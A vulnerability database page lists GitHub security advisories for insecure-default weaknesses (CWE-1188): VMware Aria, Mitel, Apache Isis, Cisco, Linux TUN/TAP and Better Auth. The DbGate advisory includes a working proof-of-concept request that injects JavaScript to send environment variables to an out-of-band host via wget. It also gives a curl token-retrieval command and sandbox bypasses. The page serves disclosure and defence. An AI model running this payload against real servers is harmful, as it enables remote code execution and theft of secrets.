Common Weakness Enumeration

CWE-1188

Allowed

Initialization of a Resource with an Insecure Default

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

404 vulnerabilities reference this CWE, most recent first.

GHSA-8RQ8-HFWR-4P7V

Vulnerability from github – Published: 2025-09-29 18:33 – Updated: 2025-09-29 18:33
VLAI
Details

VMware Aria Operations contains an information disclosure vulnerability. A malicious actor with non-administrative privileges in Aria Operations may exploit this vulnerability to disclose credentials of other users of Aria Operations.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-41245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-29T17:15:31Z",
    "severity": "MODERATE"
  },
  "details": "VMware Aria Operations contains an information disclosure vulnerability.\u00a0A malicious actor with non-administrative privileges in Aria Operations may exploit this vulnerability to disclose credentials of other users of Aria Operations.",
  "id": "GHSA-8rq8-hfwr-4p7v",
  "modified": "2025-09-29T18:33:13Z",
  "published": "2025-09-29T18:33:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41245"
    },
    {
      "type": "WEB",
      "url": "http://support.broadcom.com/group/ecx/support-content-view/-/support-content/Security%20Advisories/VMSA-2025-0015--VMware-Aria-Operations-and-VMware-Tools-updates-address-multiple-vulnerabilities--CVE-2025-41244-CVE-2025-41245--CVE-2025-41246-/36149"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8V3Q-9VMX-36VC

Vulnerability from github – Published: 2026-06-05 16:25 – Updated: 2026-06-05 16:25
VLAI
Summary
DbGate: Unauthenticated Remote Code Execution via JSON Script Runner
Details

Summary

DbGate's JSON script runner (POST /runners/start) allows remote code execution via code injection in the functionName parameter of JSON script assign commands. The functionName value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.

Details

Step 1: User Input Entry Point

File: packages/api/src/controllers/runners.js - start() method

The /runners/start endpoint accepts a POST body containing a script object. When script.type == 'json', the request follows a different code path than raw shell scripts:

async start({ script }, req) {
    if (script.type == 'json') {
        if (!platformInfo.isElectron) {
            if (!checkSecureDirectoriesInScript(script)) {
                return { errorMessage: 'Unallowed directories in script' };
            }
        }
        logJsonRunnerScript(req, script);
        const js = await jsonScriptToJavascript(script);
        return this.startCore(runid, scriptTemplate(js, false));
    }

This path skips: 1. The run-shell-script permission check 2. The allowShellScripting platform-level check

The only validation performed is checkSecureDirectoriesInScript(), which props.fileName values

Step 2: JSON-to-JavaScript Conversion (Injection Point)

File: packages/tools/src/ScriptWriter.ts - assignCore() method

The JSON script's commands array contains objects with type: "assign". The assignCore method generates JavaScript by direct string concatenation of user-controlled values:

assignCore(variableName, functionName, props) {
    this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);
}

Both variableName and functionName are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.

Step 3: Function Name Compilation

File: packages/tools/src/packageTools.ts - compileShellApiFunctionName()

Before interpolation, functionName passes through this function:

export function compileShellApiFunctionName(functionName) {
    const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
    if (nsMatch) {
        return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
    }
    return `dbgateApi.${functionName}`;
}

An attacker supplying functionName: "x;MALICIOUS_CODE;//" gets:

dbgateApi.x;MALICIOUS_CODE;//

This is syntactically valid JavaScript: dbgateApi.x evaluates (and is discarded), MALICIOUS_CODE executes, and // comments out the trailing (${JSON.stringify(props)});.

Step 4: Generated JavaScript Template

The complete generated script that gets executed:

const dbgateApi = require(process.env.DBGATE_API);
require = null;
async function run() {
    const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({});
    await dbgateApi.finalizer.run();
}
dbgateApi.runScript(run);

Step 5: Execution via child_process.fork()

File: packages/api/src/controllers/runners.js - startCore() method

The generated JavaScript string is written to a temporary file and executed as a new Node.js process via child_process.fork(). This provides the attacker with a full Node.js runtime, including access to process, child_process, fs, net, and all other Node.js built-in modules.

The require = null sandbox can be bypassed via: - process.mainModule.require() - separate reference unaffected by the null assignment - module.constructor._load() - internal module loader, also unaffected

Additional Injection Points

The same unsanitised string interpolation pattern exists in:

Endpoint Parameter File
POST /runners/start functionName in assign commands ScriptWriter.ts - assignCore()
POST /runners/start variableName in assign commands ScriptWriter.ts - assignCore()
POST /runners/load-reader functionName parameter ScriptWriter.ts - loaderScriptTemplate

PoC

POST /runners/start HTTP/1.1
Host: <dbgate-instance>:3000
Authorization: Bearer <token>
Content-Type: application/json

{
  "script": {
    "type": "json",
    "commands": [
      {
        "type": "assign",
        "variableName": "x",
        "functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//",
        "props": {}
      }
    ],
    "packageNames": []
  }
}

The request to the out of band host was as follows:

POST / HTTP/1.1
Host: <out of band host>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 251

NODE_VERSION=22.22.2
HOSTNAME=4714c7a7405f
YARN_VERSION=1.22.22
HOME=/root
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBGATE_API=/home/dbgate-docker/bundle.js
PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c

A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:

curl -sk -H "Content-Type: application/json"   -d '{"amoid":"none"}'   <dbgate-instance>:3000/auth/login

Impact

Scenario Impact CVSS Score CVSS Vector
Anonymous auth mode (default deployment) (authProvider: "Anonymous") Unauthenticated RCE 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Authenticated deployment Authenticated RCE - any user with API access 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Timeline

Date Event
2026-03-31 Vulnerability discovered
2026-04-07 Advisory report prepared and submitted to maintainer
2026-04-22 Fix released (v7.1.9)
2026-04-24 Maintainer acknowledgment
2026-05-20 Public disclosure

Acknowledgements

  • Discovery assisted by Neo from @ProjectDiscovery
  • Initial research direction inspired by @H0j3n — https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml
Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.1.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dbgate-serve"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47668"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-20",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T16:25:23Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nDbGate\u0027s JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. The `functionName` value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.\n\n### Details\n#### Step 1: User Input Entry Point\n\n**File:** `packages/api/src/controllers/runners.js` - `start()` method\n\nThe `/runners/start` endpoint accepts a POST body containing a `script` object. When `script.type == \u0027json\u0027`, the request follows a different code path than raw shell scripts:\n\n```javascript\nasync start({ script }, req) {\n    if (script.type == \u0027json\u0027) {\n        if (!platformInfo.isElectron) {\n            if (!checkSecureDirectoriesInScript(script)) {\n                return { errorMessage: \u0027Unallowed directories in script\u0027 };\n            }\n        }\n        logJsonRunnerScript(req, script);\n        const js = await jsonScriptToJavascript(script);\n        return this.startCore(runid, scriptTemplate(js, false));\n    }\n```\nThis path skips:\n1. The `run-shell-script` permission check\n2. The `allowShellScripting` platform-level check\n\nThe only validation performed is `checkSecureDirectoriesInScript()`, which `props.fileName` values\n\n---\n\n#### Step 2: JSON-to-JavaScript Conversion (Injection Point)\n\n**File:** `packages/tools/src/ScriptWriter.ts` - `assignCore()` method\n\nThe JSON script\u0027s `commands` array contains objects with `type: \"assign\"`. The `assignCore` method generates JavaScript by direct string concatenation of user-controlled values:\n\n```typescript\nassignCore(variableName, functionName, props) {\n    this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);\n}\n```\n\nBoth `variableName` and `functionName` are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.\n\n---\n\n#### Step 3: Function Name Compilation\n\n**File:** `packages/tools/src/packageTools.ts` - `compileShellApiFunctionName()`\n\nBefore interpolation, `functionName` passes through this function:\n\n```typescript\nexport function compileShellApiFunctionName(functionName) {\n    const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);\n    if (nsMatch) {\n        return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;\n    }\n    return `dbgateApi.${functionName}`;\n}\n```\n\nAn attacker supplying `functionName: \"x;MALICIOUS_CODE;//\"` gets:\n```\ndbgateApi.x;MALICIOUS_CODE;//\n```\n\nThis is syntactically valid JavaScript: `dbgateApi.x` evaluates (and is discarded), `MALICIOUS_CODE` executes, and `//` comments out the trailing `(${JSON.stringify(props)});`.\n\n---\n\n#### Step 4: Generated JavaScript Template\n\nThe complete generated script that gets executed:\n\n```javascript\nconst dbgateApi = require(process.env.DBGATE_API);\nrequire = null;\nasync function run() {\n    const x = await dbgateApi.x;process.mainModule.require(\u0027child_process\u0027).execSync(\u0027wget \u003cattacker host\u003e\u0027);//({});\n    await dbgateApi.finalizer.run();\n}\ndbgateApi.runScript(run);\n```\n\n#### Step 5: Execution via child_process.fork()\n\n**File:** `packages/api/src/controllers/runners.js` - `startCore()` method\n\nThe generated JavaScript string is written to a temporary file and executed as a new Node.js process via `child_process.fork()`. This provides the attacker with a full Node.js runtime, including access to `process`, `child_process`, `fs`, `net`, and all other Node.js built-in modules.\n\nThe `require = null` sandbox can be bypassed via:\n- `process.mainModule.require()` - separate reference unaffected by the null assignment\n- `module.constructor._load()` - internal module loader, also unaffected\n---\n\n#### Additional Injection Points\n\nThe same unsanitised string interpolation pattern exists in:\n\n| Endpoint | Parameter | File |\n|----------|-----------|------|\n| `POST /runners/start` | `functionName` in assign commands | `ScriptWriter.ts` - `assignCore()` |\n| `POST /runners/start` | `variableName` in assign commands | `ScriptWriter.ts` - `assignCore()` |\n| `POST /runners/load-reader` | `functionName` parameter | `ScriptWriter.ts` - `loaderScriptTemplate` |\n\n### PoC\n```http\nPOST /runners/start HTTP/1.1\nHost: \u003cdbgate-instance\u003e:3000\nAuthorization: Bearer \u003ctoken\u003e\nContent-Type: application/json\n\n{\n  \"script\": {\n    \"type\": \"json\",\n    \"commands\": [\n      {\n        \"type\": \"assign\",\n        \"variableName\": \"x\",\n        \"functionName\": \"x;process.mainModule.require(\u0027child_process\u0027).execSync(\u0027wget --post-data \\\"$(env 2\u003e1\u0026)\\\" \u003cout of band host\u003e\u0027);//\",\n        \"props\": {}\n      }\n    ],\n    \"packageNames\": []\n  }\n}\n```\n\nThe request to the out of band host was as follows:\n\n```http\nPOST / HTTP/1.1\nHost: \u003cout of band host\u003e\nUser-Agent: Wget/1.21.3\nAccept: */*\nAccept-Encoding: identity\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 251\n\nNODE_VERSION=22.22.2\nHOSTNAME=4714c7a7405f\nYARN_VERSION=1.22.22\nHOME=/root\nTERM=xterm\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nDBGATE_API=/home/dbgate-docker/bundle.js\nPWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c\n```\n\n---\n\nA bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:\n\n```bash\ncurl -sk -H \"Content-Type: application/json\"   -d \u0027{\"amoid\":\"none\"}\u0027   \u003cdbgate-instance\u003e:3000/auth/login\n```\n\n### Impact\n\n| Scenario | Impact | CVSS Score | CVSS Vector | \n|----------|--------|--------|--------|\n| Anonymous auth mode (default deployment) (`authProvider: \"Anonymous\"`) | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |\n| Authenticated deployment | Authenticated RCE - any user with API access |  9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |\n\n### Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-31 | Vulnerability discovered |\n| 2026-04-07 | Advisory report prepared and submitted to maintainer |\n| 2026-04-22 | Fix released (v7.1.9) |\n| 2026-04-24 | Maintainer acknowledgment |\n| 2026-05-20 | Public disclosure |\n\n### Acknowledgements\n\n- Discovery assisted by Neo from @ProjectDiscovery\n- Initial research direction inspired by @H0j3n \u2014 https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml",
  "id": "GHSA-8v3q-9vmx-36vc",
  "modified": "2026-06-05T16:25:23Z",
  "published": "2026-06-05T16:25:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-8v3q-9vmx-36vc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dbgate/dbgate"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DbGate: Unauthenticated Remote Code Execution via JSON Script Runner"
}

GHSA-97V5-H9X8-C8WJ

Vulnerability from github – Published: 2022-05-13 01:19 – Updated: 2022-05-13 01:19
VLAI
Details

The BluStar component in Mitel InAttend before 2.5 SP3 and CMG before 8.4 SP3 Suite Servers has a default password, which could allow remote attackers to gain unauthorized access and execute arbitrary scripts with potential impacts to the confidentiality, integrity and availability of the system.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-19275"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-04-02T18:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "The BluStar component in Mitel InAttend before 2.5 SP3 and CMG before 8.4 SP3 Suite Servers has a default password, which could allow remote attackers to gain unauthorized access and execute arbitrary scripts with potential impacts to the confidentiality, integrity and availability of the system.",
  "id": "GHSA-97v5-h9x8-c8wj",
  "modified": "2022-05-13T01:19:46Z",
  "published": "2022-05-13T01:19:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19275"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/-/media/mitel/pdf/security-advisories/security-bulletin-190002001-v10.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/en-gb/support/security-advisories/mitel-product-security-advisory-19-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-998R-J9RX-QM8M

Vulnerability from github – Published: 2022-10-19 12:00 – Updated: 2024-08-01 21:47
VLAI
Summary
Apache Isis webconsole module may directly query the database in prototype mode
Details

When running in prototype mode, the h2 webconsole module (accessible from the Prototype menu) is automatically made available with the ability to directly query the database. It was felt that it is safer to require the developer to explicitly enable this capability. As of 2.0.0-M8, this can now be done using the isis.prototyping.h2-console.web-allow-remote-access configuration property; the web console will be unavailable without setting this configuration. As an additional safeguard, the new isis.prototyping.h2-console.generate-random-web-admin-password configuration parameter (enabled by default) requires that the administrator use a randomly generated password to use the console. The password is printed to the log, as webAdminPass: xxx (where xxx) is the password. To revert to the original behaviour, the administrator would therefore need to set these configuration parameter: isis.prototyping.h2-console.web-allow-remote-access=true isis.prototyping.h2-console.generate-random-web-admin-password=false Note also that the h2 webconsole is never available in production mode, so these safeguards are only to ensure that the webconsole is secured by default also in prototype mode.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.isis.core:isis-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-M8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-42467"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-19T18:48:29Z",
    "nvd_published_at": "2022-10-19T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "When running in prototype mode, the h2 webconsole module (accessible from the Prototype menu) is automatically made available with the ability to directly query the database. It was felt that it is safer to require the developer to explicitly enable this capability. As of 2.0.0-M8, this can now be done using the `isis.prototyping.h2-console.web-allow-remote-access` configuration property; the web console will be unavailable without setting this configuration. As an additional safeguard, the new `isis.prototyping.h2-console.generate-random-web-admin-password` configuration parameter (enabled by default) requires that the administrator use a randomly generated password to use the console. The password is printed to the log, as `webAdminPass: xxx` (where `xxx`) is the password. To revert to the original behaviour, the administrator would therefore need to set these configuration parameter: `isis.prototyping.h2-console.web-allow-remote-access=true isis.prototyping.h2-console.generate-random-web-admin-password=false` Note also that the h2 webconsole is never available in production mode, so these safeguards are only to ensure that the webconsole is secured by default also in prototype mode.",
  "id": "GHSA-998r-j9rx-qm8m",
  "modified": "2024-08-01T21:47:51Z",
  "published": "2022-10-19T12:00:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42467"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/isis/commit/9fcab9816dac37e0f07ffe3f5c4f47df9cec8694"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/isis"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/jbv2ddt00h7ntlbm6vkk4wdmb31pm8q3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/10/19/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Isis webconsole module may directly query the database in prototype mode"
}

GHSA-999G-R275-5MJF

Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22
VLAI
Details

Premisys Identicard version 3.1.190 database uses default credentials. Users are unable to change the credentials without vendor intervention.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-3909"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-01-18T18:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Premisys Identicard version 3.1.190 database uses default credentials. Users are unable to change the credentials without vendor intervention.",
  "id": "GHSA-999g-r275-5mjf",
  "modified": "2022-05-13T01:22:28Z",
  "published": "2022-05-13T01:22:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3909"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2019-01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106552"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9C95-PJG5-CJ3R

Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46
VLAI
Details

A vulnerability in Cisco Ultra Services Framework Element Manager could allow an authenticated, remote attacker with access to the management network to log in to the affected device using default credentials present on the system, aka an Insecure Default Password Vulnerability. More Information: CSCvc76695. Known Affected Releases: 21.0.0.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-6687"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-13T06:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in Cisco Ultra Services Framework Element Manager could allow an authenticated, remote attacker with access to the management network to log in to the affected device using default credentials present on the system, aka an Insecure Default Password Vulnerability. More Information: CSCvc76695. Known Affected Releases: 21.0.0.",
  "id": "GHSA-9c95-pjg5-cj3r",
  "modified": "2022-05-13T01:46:44Z",
  "published": "2022-05-13T01:46:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6687"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170607-usf5"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/98981"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9CMP-2G73-FF98

Vulnerability from github – Published: 2023-08-07 15:30 – Updated: 2024-02-21 21:30
VLAI
Details

A flaw was found in the Linux kernel's TUN/TAP functionality. This issue could allow a local user to bypass network filters and gain unauthorized access to some resources. The original patches fixing CVE-2023-1076 are incorrect or incomplete. The problem is that the following upstream commits - a096ccca6e50 ("tun: tun_chr_open(): correctly initialize socket uid"), - 66b2c338adce ("tap: tap_open(): correctly initialize socket uid"), pass "inode->i_uid" to sock_init_data_uid() as the last parameter and that turns out to not be accurate.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-4194"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-843",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-07T14:15:11Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the Linux kernel\u0027s TUN/TAP functionality. This issue could allow a local user to bypass network filters and gain unauthorized access to some resources. The original patches fixing CVE-2023-1076 are incorrect or incomplete. The problem is that the following upstream commits - a096ccca6e50 (\"tun: tun_chr_open(): correctly initialize socket uid\"), - 66b2c338adce (\"tap: tap_open(): correctly initialize socket uid\"), pass \"inode-\u003ei_uid\" to sock_init_data_uid() as the last parameter and that turns out to not be accurate.",
  "id": "GHSA-9cmp-2g73-ff98",
  "modified": "2024-02-21T21:30:26Z",
  "published": "2023-08-07T15:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4194"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:6583"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-4194"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2229498"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00027.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/344H6HO6SSC4KT7PDFXSDIXKMKHISSGF"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3TYLSJ2SAI7RF56ZLQ5CQWCJLVJSD73Q"
    },
    {
      "type": "WEB",
      "url": "https://lore.kernel.org/all/20230731164237.48365-1-lersek@redhat.com"
    },
    {
      "type": "WEB",
      "url": "https://lore.kernel.org/all/20230731164237.48365-2-lersek@redhat.com"
    },
    {
      "type": "WEB",
      "url": "https://lore.kernel.org/all/20230731164237.48365-3-lersek@redhat.com"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20231027-0002"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5480"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5492"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9H47-PQCX-HJR4

Vulnerability from github – Published: 2026-07-07 20:55 – Updated: 2026-07-07 20:55
VLAI
Summary
Better Auth has insecure cryptographic defaults in oidcProvider: alg=none advertised and plain PKCE accepted by default
Details

Am I affected?

Users are affected if all of the following are true:

  • Their application uses better-auth at a version below the patched release.
  • Their application enables oidcProvider() from better-auth/plugins/oidc-provider or mcp() from better-auth/plugins/mcp (the mcp plugin delegates to oidcProvider and inherits both defaults).
  • For the algorithm-negotiation impact: relying parties of the application's OIDC server use a JWT verification library that performs algorithm negotiation from the discovery document without pinning to a specific signing algorithm.
  • For the PKCE impact: the authorization URL is exposed to any party other than the user agent and the application's OP.

If the application only uses @better-auth/oauth-provider (the canonical replacement) and have not enabled the legacy plugins, it is not affected. The new package's discovery document excludes none and its authorize schema rejects plain at parse time.

Fix:

  1. Upgrade to better-auth@1.6.11 or later.
  2. Migrate from the deprecated oidcProvider and mcp plugins to @better-auth/oauth-provider when feasible.
  3. If developers cannot upgrade their applications, see workarounds below.

Summary

The legacy oidcProvider and mcp plugins exhibit two related defects in their OIDC discovery and authorize surfaces.

The discovery document advertises "none" in id_token_signing_alg_values_supported (and, for mcp, in resource_signing_alg_values_supported on the OAuth protected-resource metadata). Any relying party that performs algorithm negotiation from this metadata without pinning to a real signing algorithm may accept unsigned tokens.

PKCE plain is enabled by default. The runtime gate in the authorize handler accepts code_challenge_method=plain under this default, and a missing code_challenge_method parameter is silently downgraded to "plain" before the allowlist check. Discovery advertises code_challenge_methods_supported: ["S256"], contradicting the runtime acceptance of plain. RFC 9700 §2.1.1 (OAuth 2.1) explicitly forbids plain.

Details

The metadata builders unconditionally inject "none" into the alg list. The runtime authorize gate is structured so a buggy client that strips the code_challenge_method parameter still enters the plain code path because the handler rewrites the missing value to "plain" before the allowlist check fires.

@better-auth/oauth-provider (the deprecation target for oidcProvider) is not affected by either defect. The metadata builder uses a JWSAlgorithms type union that structurally excludes "none". The authorize schema is code_challenge_method: z.literal("S256").optional(), which rejects plain at parse time.

Patches

Fixed in better-auth@1.6.11. The legacy oidcProvider and mcp plugins now:

  • Drop "none" from id_token_signing_alg_values_supported (both plugins) and from resource_signing_alg_values_supported (mcp). Discovery no longer advertises the unsigned-token option.
  • Default allowPlainCodeChallengeMethod to false. A request that explicitly passes code_challenge_method=plain is rejected with invalid_request unless the integrator opts in.
  • Reject a code_challenge without an accompanying code_challenge_method instead of silently rewriting the missing value to plain. Clients that send code_challenge must also send code_challenge_method=S256.

Discovery and runtime behavior align on S256 only by default.

Integrators who must keep plain PKCE for legacy clients can restore the previous shape with oidcProvider({ allowPlainCodeChallengeMethod: true }) (and likewise for mcp). With the opt-in set, a request that omits code_challenge_method is treated as plain again, preserving backwards compatibility while keeping the secure default for everyone else. Both legacy plugins are deprecated long-term; the recommended migration is @better-auth/oauth-provider, which never advertised none or accepted plain PKCE.

Workarounds

If developers cannot upgrade their applications immediately:

  • Disable plain PKCE explicitly: set oidcProvider({ allowPlainCodeChallengeMethod: false }) (and the equivalent on mcp). Closes the runtime acceptance of plain even though the silent downgrade still rewrites missing methods.
  • Override the metadata to drop "none" from id_token_signing_alg_values_supported. For oidcProvider, pass metadata: { id_token_signing_alg_values_supported: ["RS256"] }. For mcp, set the same on options.oidcConfig.metadata. Verify by curling the .well-known endpoint.
  • Migrate to @better-auth/oauth-provider: the package is the deprecation target and is unaffected by both defects.

Impact

